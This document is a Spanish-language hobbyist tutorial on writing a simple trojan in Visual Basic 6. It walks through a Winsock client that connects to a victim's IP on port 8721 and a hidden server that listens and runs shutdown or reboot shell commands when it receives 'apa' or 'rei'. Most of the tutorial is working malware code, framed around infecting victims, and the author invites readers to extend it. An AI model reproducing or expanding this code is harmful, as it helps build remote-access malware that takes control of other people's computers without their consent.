solraCKire

Buenas antes que nada , decir... a los lammers que no se dediquén a copiar código... y se dediquén a entenderlo.
En este manual explicaré como crear troyanos en visual Basic....

un troyano es una aplicacoón que se basa en el tan conocido Cliente/Servidor y que se trata de enviar datos desde un ordenador a otro
Manteniendo una comunicación...

En este caso en Nuestro troyano usaremos el protocolo TCP.


usaremos el programa visual basic 6.0 ( recomendado )

Bien empesemos con el aspecto gráfico del troyano....

Podnremos tres opciones a nuestro querido cliente...

1.) Apagar equipo
2.) Reiniciar equipo..

estas opciones son muy sensillas...

¿Por qué no pongo más ejemplos?

Por que siempre hay alguien que se dedica a aprovecharse de estos manuales para hacer lammeradas... en cambio otras personas lo hacen con fines productivos
y educativos...

Bien... Empesaremos a programar el aspecto Gráfico del cliente...

Abramos el visual basic 6.0

y Agregamos el control Winsock que se encuentre en: proyecto >>> componentes >>>

y lo agregamos al formulario...

Agregamos:

1 Textbox (text1.text )
2 Labels (label1 y label2)
4 CommandButton...

en el primer label Pondremos en la propiedad caption lo siguiente:

Host o Dirección IP:

y al lado ponemos el textbox.... aquí es donde se introducirá la IP de la víctima cuando la infectemos....

en el segundo label es donde ubicaremos el Estado de la conexión...

Por defecto ponemos en el caption:

Estado: Desconectado...

CommandButton1:

Sería el botón Conectar...

CommandButton2:

Desconectar...

CommandButton3:

Apagar equipo...

CommandButton4:

Reiniciar equipo...



En el botón Conectar pondremos el siguiente Código......

Winsock1.Close (para que pueda volver a conectar en caso de desconectarte)
Winsock1.RemoteHost = Text1.text (Aquí estamos diciendo que el host remoto será lo introducido en el textbox )
Winsock1.RemotePort = 8721 (especificamos el puerto.. en este caso.. el 8721)
Winsock1.Connect (Conecta)

en el botón desconectar pondremos lo siguiente...

Winsock1.Close


luego en el evento Connect del winsock haremos esto:

Private Sub winsock1_connect()
If Winsock1.State = sckConnected Then
Label2.caption = "Conectado"
End If
End Sub

en el botón Apagar añadimos el siguiente código...

Winsock1.SendData "apa"


en el botón reiniciar añadimos:

Winsock1.SendData "rei"




################################
server

#################################


Ahora empesaremos con el server....

Agregamos el control winsock al formulario...

y le ponemos la propiedad visible en false en el formulario....

luego en el winsock en la propiedad LocalPort ponemos 8721

añadimos un textbox (text1.text ) que será la comprobación de texto desde el cliente....

y añadimos esto en el evento load del formulario.


MsgBox "Caistes en mis manos"
Winsock1.Listen ' El programa se pone a la escucha...
WAClase = "VBE"
End Sub



luego:

Private Sub Winsock1_ConnectionRequest(ByVal RequestID As Long)
Winsock1.Close
Winsock1.Accept RequestID (aceptamos conexiones)
End Sub
Private Sub Winsock1_DataArrival(ByVal bytestotal As Long)
Dim datos As String ( declaramos la variable datos )
Winsock1.GetData datos ( hacemos que todo lo que recibamos se almacene en la variable datos )
Text1.Text = datos ( el textbox es lo que recibamos )
End Sub

luego en el evento change del textbox

Private Sub Text1_Change()
if text1.text = "apa" Then
Shell ("cmd.exe /c shutdown -s -t 1"
end if
If Text1.Text = "rei" Then
Shell ("cmd.exe /c shutdown -r -t 2", vbHide
End If



Hasta aquí llega mi manual.... el troyano es muy básico.. pero si entendistes la lógica seguro que lo podrás mejorar mucho.